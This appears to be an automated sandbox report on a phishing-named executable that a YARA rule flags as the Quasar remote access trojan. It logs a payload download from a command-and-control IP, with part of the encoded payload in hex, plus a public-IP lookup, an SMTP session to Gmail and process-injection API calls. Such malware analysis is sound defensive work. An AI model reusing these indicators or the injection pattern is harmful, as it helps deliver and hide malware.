Jan 27, 2021 15:15:12.987937927 CET	8.8.8.8	192.168.2.3	0xed11	No error (0)	github.map.fastly.net		151.101.0.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.987937927 CET	8.8.8.8	192.168.2.3	0xed11	No error (0)	github.map.fastly.net		151.101.64.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.987937927 CET	8.8.8.8	192.168.2.3	0xed11	No error (0)	github.map.fastly.net		151.101.128.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.987937927 CET	8.8.8.8	192.168.2.3	0xed11	No error (0)	github.map.fastly.net		151.101.192.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:13.984045029 CET	8.8.8.8	192.168.2.3	0xbd5c	No error (0)	icanhazip.com		147.75.47.199	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:13.984045029 CET	8.8.8.8	192.168.2.3	0xbd5c	No error (0)	icanhazip.com		136.144.56.255	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:15.972109079 CET	8.8.8.8	192.168.2.3	0xcc74	No error (0)	smtp.gmail.com		108.177.119.109	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

193.239.147.103

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49721	193.239.147.103	80	C:\Users\user\Desktop\Overdue_invoices.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 15:15:04.125174999 CET	72	OUT	GET /base/D87080E8818FCC40A45F948026A84297.html HTTP/1.1 Host: 193.239.147.103 Connection: Keep-Alive
Jan 27, 2021 15:15:04.173216105 CET	73	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 27 Jan 2021 14:15:04 GMT Content-Type: text/html Content-Length: 439235 Last-Modified: Tue, 26 Jan 2021 23:18:44 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "6010a354-6b3c3" X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes Data Raw: 3c 70 3e 54 54 51 69 50 51 78 77 77 51 50 51 6e 51 50 51 50 51 50 51 77 51 50 51 50 51 50 51 46 65 65 51 46 65 65 51 50 51 50 51 78 41 77 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 4b 77 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 78 46 41 51 50 51 50 51 50 51 78 77 51 6e 78 51 78 41 4b 51 78 77 51 50 51 78 41 50 51 69 51 46 50 65 51 6e 6e 51 78 41 77 51 78 51 54 4b 51 46 50 65 51 6e 6e 51 41 77 51 78 50 77 51 78 50 65 51 78 78 65 51 6e 46 51 78 78 46 51 78 78 77 51 78 78 78 51 78 50 6e 51 78 78 77 51 69 54 51 78 50 69 51 6e 46 51 69 69 51 69 54 51 78 78 50 51 78 78 50 51 78 78 78 51 78 78 4b 51 6e 46 51 69 41 51 78 50 78 51 6e 46 51 78 78 77 51 78 78 54 51 78 78 50 51 6e 46 51 78 50 65 51 78 78 50 51 6e 46 51 4b 41 51 54 69 51 41 6e 51 6e 46 51 78 50 69 51 78 78 78 51 78 50 50 51 78 50 78 51 77 4b 51 78 6e 51 78 6e 51 78 50 51 6e 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 41 50 51 4b 69 51 50 51 50 51 54 4b 51 78 51 6e 51 50 51 41 46 51 78 4b 6e 51 78 4b 51 69 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 46 46 77 51 50 51 6e 77 51 50 51 78 78 51 78 51 41 50 51 50 51 50 51 46 77 50 51 78 51 50 51 50 51 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 78 77 46 51 78 65 51 46 51 50 51 50 51 6e 46 51 50 51 50 51 50 51 6e 46 51 46 51 50 51 50 51 50 51 50 51 78 4b 51 50 51 6e 46 51 50 51 50 51 50 51 46 51 50 51 50 51 77 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 69 4b 51 46 51 50 51 50 51 46 51 50 51 50 51 50 51 50 51 50 51 50 51 46 51 50 51 69 4b 51 78 6e 6e 51 50 51 50 51 78 4b 51 50 51 50 51 78 4b 51 50 51 50 51 50 51 50 51 78 4b 51 50 51 50 51 78 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 78 4b 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 65 46 51 78 65 51 46 51 50 51 41 54 51 50 51 50 51 50 51 50 51 6e 46 51 46 51 50 51 41 41 51 6e 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 4b 77 51 46 51 50 51 78 46 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 6e 46 51 50 51 50 51 41 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 41 51 6e 46 51 50 51 50 51 54 46 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 77 4b 51 78 78 4b 51 78 50 78 51 78 46 50 51 78 78 4b 51 50 51 50 51 50 51 78 77 41 51 46 6e 69 51 78 51 50 51 50 51 6e 46 51 50 51 50 51 50 51 46 77 50 51 78 51 50 51 50 51 46 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 6e 46 51 50 51 50 51 69 4b 51 77 4b 51 78 78 77 51 78 78 65 51 78 78 77 51 69 69 51 50 51 50 51 50 51 41 41 51 6e 51 50 51 50 51 50 51 6e 46 51 46 51 50 51 50 51 77 51 50 51 50 51 50 51 46 77 Data Ascii: <p>TTQiPQxwwQPQnQPQPQPQwQPQPQPQFeeQFeeQPQPQxAwQPQPQPQPQPQPQPQKwQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQxFAQPQPQPQxwQnxQxAKQxwQPQxAPQiQFPeQnnQxAwQxQTKQFPeQnnQAwQxPwQxPeQxxeQnFQxxFQxxwQxxxQxPnQxxwQiTQxPiQnFQiiQiTQxxPQxxPQxxxQxxKQnFQiAQxPxQnFQxxwQxxTQxxPQnFQxPeQxxPQnFQKAQTiQAnQnFQxPiQxxxQxPPQxPxQwKQxnQxnQxPQnKQPQPQPQPQPQPQPQAPQKiQPQPQTKQxQnQPQAFQxKnQxKQiKQPQPQPQPQPQPQPQPQFFwQPQnwQPQxxQxQAPQPQPQFwPQxQPQPQKQPQPQPQPQPQPQxwFQxeQFQPQPQnFQPQPQPQnFQFQPQPQPQPQxKQPQnFQPQPQPQFQPQPQwQPQPQPQPQPQPQPQKQPQPQPQPQPQPQPQPQiKQFQPQPQFQPQPQPQPQPQPQFQPQiKQxnnQPQPQxKQPQPQxKQPQPQPQPQxKQPQPQxKQPQPQPQPQPQPQxKQPQPQPQPQPQPQPQPQPQPQPQeFQxeQFQPQATQPQPQPQPQnFQFQPQAAQnQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQKwQFQPQxFQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQnFQPQPQAQPQPQPQPQPQPQPQPQPQPQPQAQnFQPQPQTFQPQPQPQPQPQPQPQPQPQPQPQwKQxxKQxPxQxFPQxxKQPQPQPQxwAQFniQxQPQPQnFQPQPQPQFwPQxQPQPQFQPQPQPQPQPQPQPQPQPQPQPQPQPQPQnFQPQPQiKQwKQxxwQxxeQxxwQiiQPQPQPQAAQnQPQPQPQnFQFQPQPQwQPQPQPQFw
Jan 27, 2021 15:15:04.173243999 CET	75	IN	Data Raw: 46 51 78 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 50 51 4b 77 51 50 51 50 51 4b 77 51 77 4b 51 78 78 77 51 78 50 78 51 78 50 41 51 78 78 78 51 69 69 51 50 51 50 51 78 46 51 50 51 50 51 50 51 50 51 4b 77 51 46 51 Data Ascii: FQxQPQPQPQPQPQPQPQPQPQPQPQPQPQKwQPQPQKwQwKQxxwQxPxQxPAQxxxQiiQPQPQxFQPQPQPQPQKwQFQPQPQFQPQPQPQFwKQxQPQPQPQPQPQPQPQPQPQPQPQPQPQKwQPQPQKKQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQPQxxFQxeQFQPQPQPQPQPQTFQPQPQPQFQPQeQPQKwQFPnQxQPQFwwQKTQPQPQnQPQFQPQxxwQPQPQK
Jan 27, 2021 15:15:04.173261881 CET	76	IN	Data Raw: 50 51 78 50 51 78 78 65 51 78 50 50 51 50 51 50 51 78 50 51 77 46 51 46 4b 51 6e 46 51 50 51 50 51 50 51 50 51 77 46 51 46 4b 51 77 50 51 78 78 77 51 50 51 50 51 4b 51 77 46 51 50 51 50 51 46 54 51 77 41 51 46 51 50 51 78 54 77 51 50 51 50 51 50 Data Ascii: PQxPQxxeQxPPQPQPQxPQwFQFKQnFQPQPQPQPQwFQFKQwPQxxwQPQPQKQwFQPQPQFTQwAQFQPQxTwQPQPQPQxQPQPQxTQPQxxwQxQPQPQxxFQFewQxwQxQPQxxwQnxQPQPQxxFQFewQxwQFQPQxxeQFPQPQPQxPQFewQxwQnQPQFewQxFQxQPQwPQxQPQPQwnQxxxQFFQPQPQxPQFewQxwQwQPQeKQeKQPQPQPQFewQxnQwQPQwP
Jan 27, 2021 15:15:04.173279047 CET	77	IN	Data Raw: 50 51 77 50 51 46 6e 51 50 51 50 51 78 50 51 46 65 77 51 78 77 51 65 51 50 51 46 65 77 51 78 46 51 65 51 50 51 77 50 51 46 77 51 50 51 50 51 78 50 51 46 65 77 51 78 46 51 46 51 50 51 77 50 51 46 65 51 50 51 50 51 78 50 51 46 78 41 51 46 65 77 51 Data Ascii: PQwPQFnQPQPQxPQFewQxwQeQPQFewQxFQeQPQwPQFwQPQPQxPQFewQxFQFQPQwPQFeQPQPQxPQFxAQFewQxwQKQPQFewQxFQnQPQFewQxFQKQPQwPQFKQPQPQxPQxxxQFTQPQPQxPQnAQPQFewQxnQwQPQwPQFAQPQPQxPQFewQxwQTQPQFewQxFQTQPQeAQxTAQFeeQFeeQFeeQFFxQxTQPQPQPQFewQxnQwQPQFewQFFQFQPQ
Jan 27, 2021 15:15:04.173307896 CET	79	IN	Data Raw: 46 46 51 46 51 50 51 50 51 46 54 51 78 78 78 51 46 69 51 50 51 50 51 78 50 51 50 51 46 46 50 51 46 65 77 51 78 46 51 6e 51 50 51 78 78 78 51 6e 50 51 50 51 50 51 78 50 51 46 65 77 51 78 77 51 50 51 50 51 65 4b 51 50 51 50 51 50 51 50 51 46 65 77 Data Ascii: FFQFQPQPQFTQxxxQFiQPQPQxPQPQFFPQFewQxFQnQPQxxxQnPQPQPQxPQFewQxwQPQPQeKQPQPQPQPQFewQxFQPQPQwFQPQPQxQxKQPQPQFQPQFAQPQxPKQxnwQPQxTQPQPQPQPQFTQwAQFQPQxTwQPQPQPQxQPQPQxTQPQxxwQFPxQPQPQxxFQFewQxwQxQPQxxwQFxiQPQPQxxFQFewQxwQFQPQxxeQFPQPQPQxPQFewQxwQn
Jan 27, 2021 15:15:04.173325062 CET	80	IN	Data Raw: 77 51 6e 51 50 51 46 65 77 51 78 46 51 78 51 50 51 77 50 51 78 51 50 51 50 51 77 6e 51 78 78 78 51 46 46 51 50 51 50 51 78 50 51 46 65 77 51 78 77 51 77 51 50 51 65 4b 51 65 4b 51 50 51 50 51 50 51 46 65 77 51 78 6e 51 77 51 50 51 77 50 51 46 6e Data Ascii: wQnQPQFewQxFQxQPQwPQxQPQPQwnQxxxQFFQPQPQxPQFewQxwQwQPQeKQeKQPQPQPQFewQxnQwQPQwPQFnQPQPQxPQFewQxwQeQPQFewQxFQeQPQwPQFwQPQPQxPQFewQxFQFQPQwPQFeQPQPQxPQFxAQFewQxwQKQPQFewQxFQnQPQFewQxFQKQPQwPQFKQPQPQxPQxxxQFTQPQPQxPQnAQPQFewQxnQwQPQwPQFAQPQPQxPQF
Jan 27, 2021 15:15:04.173341036 CET	82	IN	Data Raw: 78 50 51 46 65 77 51 78 77 51 54 51 50 51 46 65 77 51 78 46 51 54 51 50 51 65 41 51 78 54 41 51 46 65 65 51 46 65 65 51 46 65 65 51 46 46 78 51 78 54 51 50 51 50 51 50 51 46 65 77 51 78 6e 51 77 51 50 51 46 65 77 51 46 46 51 46 51 50 51 50 51 46 Data Ascii: xPQFewQxwQTQPQFewQxFQTQPQeAQxTAQFeeQFeeQFeeQFFxQxTQPQPQPQFewQxnQwQPQFewQFFQFQPQPQFTQxxxQFiQPQPQxPQPQFFPQFewQxFQnQPQxxxQnPQPQPQxPQFewQxwQPQPQeKQPQPQPQPQFewQxFQPQPQwFQPQPQxQxKQPQPQFQPQFAQPQxPKQxnwQPQxTQPQPQPQPQFTQwAQFQPQxTwQPQPQPQxQPQPQxTQPQxxwQ
Jan 27, 2021 15:15:04.173357964 CET	83	IN	Data Raw: 51 50 51 78 78 77 51 78 69 54 51 78 51 50 51 78 78 46 51 46 65 77 51 78 77 51 78 51 50 51 78 78 77 51 46 6e 69 51 78 51 50 51 78 78 46 51 46 65 77 51 78 77 51 46 51 50 51 78 78 65 51 46 50 51 50 51 50 51 78 50 51 46 65 77 51 78 77 51 6e 51 50 51 Data Ascii: QPQxxwQxiTQxQPQxxFQFewQxwQxQPQxxwQFniQxQPQxxFQFewQxwQFQPQxxeQFPQPQPQxPQFewQxwQnQPQFewQxFQxQPQwPQxQPQPQwnQxxxQFFQPQPQxPQFewQxwQwQPQeKQeKQPQPQPQFewQxnQwQPQwPQFnQPQPQxPQFewQxwQeQPQFewQxFQeQPQwPQFwQPQPQxPQFewQxFQFQPQwPQFeQPQPQxPQFxAQFewQxwQKQPQFew
Jan 27, 2021 15:15:04.173374891 CET	84	IN	Data Raw: 51 46 65 77 51 78 46 51 6e 51 50 51 46 65 77 51 78 46 51 4b 51 50 51 77 50 51 46 4b 51 50 51 50 51 78 50 51 78 78 78 51 46 54 51 50 51 50 51 78 50 51 6e 41 51 50 51 46 65 77 51 78 6e 51 77 51 50 51 77 50 51 46 41 51 50 51 50 51 78 50 51 46 65 77 Data Ascii: QFewQxFQnQPQFewQxFQKQPQwPQFKQPQPQxPQxxxQFTQPQPQxPQnAQPQFewQxnQwQPQwPQFAQPQPQxPQFewQxwQTQPQFewQxFQTQPQeAQxTAQFeeQFeeQFeeQFFxQxTQPQPQPQFewQxnQwQPQFewQFFQFQPQPQFTQxxxQFiQPQPQxPQPQFFPQFewQxFQnQPQxxxQnPQPQPQxPQFewQxwQPQPQeKQPQPQPQPQFewQxFQPQPQwFQPQ
Jan 27, 2021 15:15:04.173409939 CET	86	IN	Data Raw: 46 51 50 51 50 51 78 51 78 4b 51 50 51 50 51 46 51 50 51 46 41 51 50 51 78 50 4b 51 78 6e 77 51 50 51 78 54 51 50 51 50 51 50 51 50 51 46 54 51 77 41 51 46 51 50 51 78 54 77 51 50 51 50 51 50 51 78 51 50 51 50 51 78 54 51 50 51 78 78 77 51 78 6e Data Ascii: FQPQPQxQxKQPQPQFQPQFAQPQxPKQxnwQPQxTQPQPQPQPQFTQwAQFQPQxTwQPQPQPQxQPQPQxTQPQxxwQxneQFQPQxxFQFewQxwQxQPQxxwQxenQFQPQxxFQFewQxwQFQPQxxeQFPQPQPQxPQFewQxwQnQPQFewQxFQxQPQwPQxQPQPQwnQxxxQFFQPQPQxPQFewQxwQwQPQeKQeKQPQPQPQFewQxnQwQPQwPQFnQPQPQxPQFewQ
Jan 27, 2021 15:15:04.220325947 CET	87	IN	Data Raw: 78 50 51 46 65 77 51 78 77 51 65 51 50 51 46 65 77 51 78 46 51 65 51 50 51 77 50 51 46 77 51 50 51 50 51 78 50 51 46 65 77 51 78 46 51 46 51 50 51 77 50 51 46 65 51 50 51 50 51 78 50 51 46 78 41 51 46 65 77 51 78 77 51 4b 51 50 51 46 65 77 51 78 Data Ascii: xPQFewQxwQeQPQFewQxFQeQPQwPQFwQPQPQxPQFewQxFQFQPQwPQFeQPQPQxPQFxAQFewQxwQKQPQFewQxFQnQPQFewQxFQKQPQwPQFKQPQPQxPQxxxQFTQPQPQxPQnAQPQFewQxnQwQPQwPQFAQPQPQxPQFewQxwQTQPQFewQxFQTQPQeAQxTAQFeeQFeeQFeeQFFxQxTQPQPQPQFewQxnQwQPQFewQFFQFQPQPQFTQxxxQFiQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49734	147.75.47.199	80	C:\Users\user\Desktop\Overdue_invoices.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 15:15:14.142913103 CET	634	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Jan 27, 2021 15:15:14.300822020 CET	635	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Jan 2021 14:15:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 12 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET x-rtfm: Learn about this site at http://bit.ly/icanhazip-faq and do not abuse the service. x-node: icanhazip-dfw-1 x-donation: This site is expensive to run. You can donate BTC to 3LSp89k9qnMJBpV7AUNF3M2Eo1vatpkYpm x-duck: Data Raw: 38 34 2e 31 37 2e 35 32 2e 37 34 0a Data Ascii: 84.17.52.74

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 27, 2021 15:15:16.080607891 CET	587	49736	108.177.119.109	192.168.2.3	220 smtp.gmail.com ESMTP y9sm1454236edi.74 - gsmtp
Jan 27, 2021 15:15:16.080883026 CET	49736	587	192.168.2.3	108.177.119.109	EHLO 494126
Jan 27, 2021 15:15:16.134344101 CET	587	49736	108.177.119.109	192.168.2.3	250-smtp.gmail.com at your service, [84.17.52.74] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jan 27, 2021 15:15:16.134633064 CET	49736	587	192.168.2.3	108.177.119.109	STARTTLS
Jan 27, 2021 15:15:16.186044931 CET	587	49736	108.177.119.109	192.168.2.3	220 2.0.0 Ready to start TLS

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Overdue_invoices.exe PID: 5328 Parent PID: 5588

General

Start time:	15:15:02
Start date:	27/01/2021
Path:	C:\Users\user\Desktop\Overdue_invoices.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Overdue_invoices.exe'
Imagebase:	0x400000
File size:	100864 bytes
MD5 hash:	AFA35EE8F27C8A6661219BCCB198FD9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source: 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: Overdue_invoices.exe PID: 6020 Parent PID: 5328

General

Start time:	15:15:10
Start date:	27/01/2021
Path:	C:\Users\user\Desktop\Overdue_invoices.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Overdue_invoices.exe
Imagebase:	0xdb0000
File size:	100864 bytes
MD5 hash:	AFA35EE8F27C8A6661219BCCB198FD9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source: 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Overdue_invoices.exe PID: 5328 Parent PID: 5588 Overdue_invoices.exeCOMMON

Executed Functions

Function 00AD6C38, Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 172fea99f5c797f60c08bea6a0c262c6739ccf9235562e1e76d78851fa3d85d5
Instruction ID: 23e0f62178a2029460c117bf201001964b8bdca6e8de9a8c3a58f604c7f5d19e
Opcode Fuzzy Hash: 172fea99f5c797f60c08bea6a0c262c6739ccf9235562e1e76d78851fa3d85d5
Instruction Fuzzy Hash: 39026C70B002198FDB18DFA5C854BAEBBB6AF88344F25856AE506DB391DF34DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD73B0, Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6466a27cdb90436fc5b1a432cfa62dcb291c7c83569c3a3a393f92526aa95cd1
Instruction ID: a71ff731a96e062953ca4aeb937da70a9a8463922abbec558833c6b51111a100
Opcode Fuzzy Hash: 6466a27cdb90436fc5b1a432cfa62dcb291c7c83569c3a3a393f92526aa95cd1
Instruction Fuzzy Hash: 6CE15A74A04119CFCB19CFA9D984AADBBB2FF88344F55846AE406AB361F730DD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5748, Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb0717fdf68e538827e780f0eb72435268d4534bfd9d9f466d07fbb1b648a4c
Instruction ID: e5c408e4e88f3aecf3435f69bf3dfea09442a22727a2ab52734836e6d6d17910
Opcode Fuzzy Hash: dbb0717fdf68e538827e780f0eb72435268d4534bfd9d9f466d07fbb1b648a4c
Instruction Fuzzy Hash: 2451632180E3D05FDB03BB78A8707D63F719F53229F0A48E7D5818F6A3D6289819D766

Uniqueness

Uniqueness Score: -1.00%

Function 00ADCEA0, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00ADD0D6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1ab8c869058a2f1f230037f1aa40bd1efd377632734bac8fa4f5baabb66433fe
Instruction ID: 7117f1860fe0c6ee221f995b09152a0258287a4293bb95ba837310a73518cc56
Opcode Fuzzy Hash: 1ab8c869058a2f1f230037f1aa40bd1efd377632734bac8fa4f5baabb66433fe
Instruction Fuzzy Hash: C5915A71D00219DFDF10DFA5C8817EEBBB2BB48314F15856AE81AA7380DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00ADCE9D, Relevance: 1.7, APIs: 1, Instructions: 242processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00ADD0D6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c18698828029c135bf093d7b24c950cdedfe2bc78ff9736bfc0c2a9594ec8ce6
Instruction ID: 19408ff17ff96904b212fdbc69ae0ed99b34bebff2ae05c710e0f5b0890cbef4
Opcode Fuzzy Hash: c18698828029c135bf093d7b24c950cdedfe2bc78ff9736bfc0c2a9594ec8ce6
Instruction Fuzzy Hash: 73914971D00219DFDF10DFA4C8817EEBBB2BB48314F1585AAE81AA7380DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC218, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00ADC2A8

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9ab3a96724198716abc69a203d72bec6ebebf0575c35d175c2ccc6ec1b8ef0d9
Instruction ID: 69ccb71937e51443c5c48f54a5624af3736fcb89342ee19b0a6e8e33d6a5e295
Opcode Fuzzy Hash: 9ab3a96724198716abc69a203d72bec6ebebf0575c35d175c2ccc6ec1b8ef0d9
Instruction Fuzzy Hash: 2A2113719002599FCF10DFAAC884BDEBBF5FF48324F50842AE919A7340D778A954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB678, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 00ADB6F6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 5647f04c1098f7792189cec19dea49deafc64d41d26031185e4ac73393c7ccbd
Instruction ID: ef6ff3282db23194ae118e1bc6d6d28be1c3a799f99d07ecbac70bad8db35265
Opcode Fuzzy Hash: 5647f04c1098f7792189cec19dea49deafc64d41d26031185e4ac73393c7ccbd
Instruction Fuzzy Hash: 9C2115719002098FCB10DFAAC4847EEBBF4AF88364F55842AE519A7341DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB670, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 00ADB6F6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 2962f3d9031889d2c38109a825909edb359e5631c4060f6b5ef124860b416a77
Instruction ID: 8bda40a3b29c91179348f027f7e543377357043d1bd0a6a7c9496e01e1fd553c
Opcode Fuzzy Hash: 2962f3d9031889d2c38109a825909edb359e5631c4060f6b5ef124860b416a77
Instruction Fuzzy Hash: 742138719003098FCB10DFAAC4847EEBBF4AF48364F55842ED519A7341DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC908, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00ADC988

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 01dfe9d10225ae910b618bc5cd766e445e9873141125387998ebe60553c96587
Instruction ID: 3ef52e3f8dc3d513700482715a8d26a9c18b4fe5e4aaa02d8e8dd470403491e2
Opcode Fuzzy Hash: 01dfe9d10225ae910b618bc5cd766e445e9873141125387998ebe60553c96587
Instruction Fuzzy Hash: AB2128719003499FCF10DFAAC880ADEBBF5FF48324F50842AE519A7240D7799954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC901, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00ADC988

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1783416f76e73a18b8e7aa9e023327bede45c9b262a6d6b8d0294deee681ecfc
Instruction ID: a81302565a5001f970341a5531a44e8097141da13d0d3bc02982066c263cfc9a
Opcode Fuzzy Hash: 1783416f76e73a18b8e7aa9e023327bede45c9b262a6d6b8d0294deee681ecfc
Instruction Fuzzy Hash: 942128B19003498FCF10DFA9C8806EEBBF5FF48324F55882EE519A7240C7799955DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADBF58, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00ADBFC6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b76d749e1eb090f8609365f5e43e34ea039fb4398530885682ca4f8d34b1da60
Instruction ID: d6a009567c7ececc5aabc443096a27561e8fb63bc3a807f08ad2bfed35cc2466
Opcode Fuzzy Hash: b76d749e1eb090f8609365f5e43e34ea039fb4398530885682ca4f8d34b1da60
Instruction Fuzzy Hash: B21137719002499FCF10DFAAC844BDFBBF5AF48324F15881AE519A7250CB75A954CFA1

Uniqueness

Uniqueness Score: -1.00%

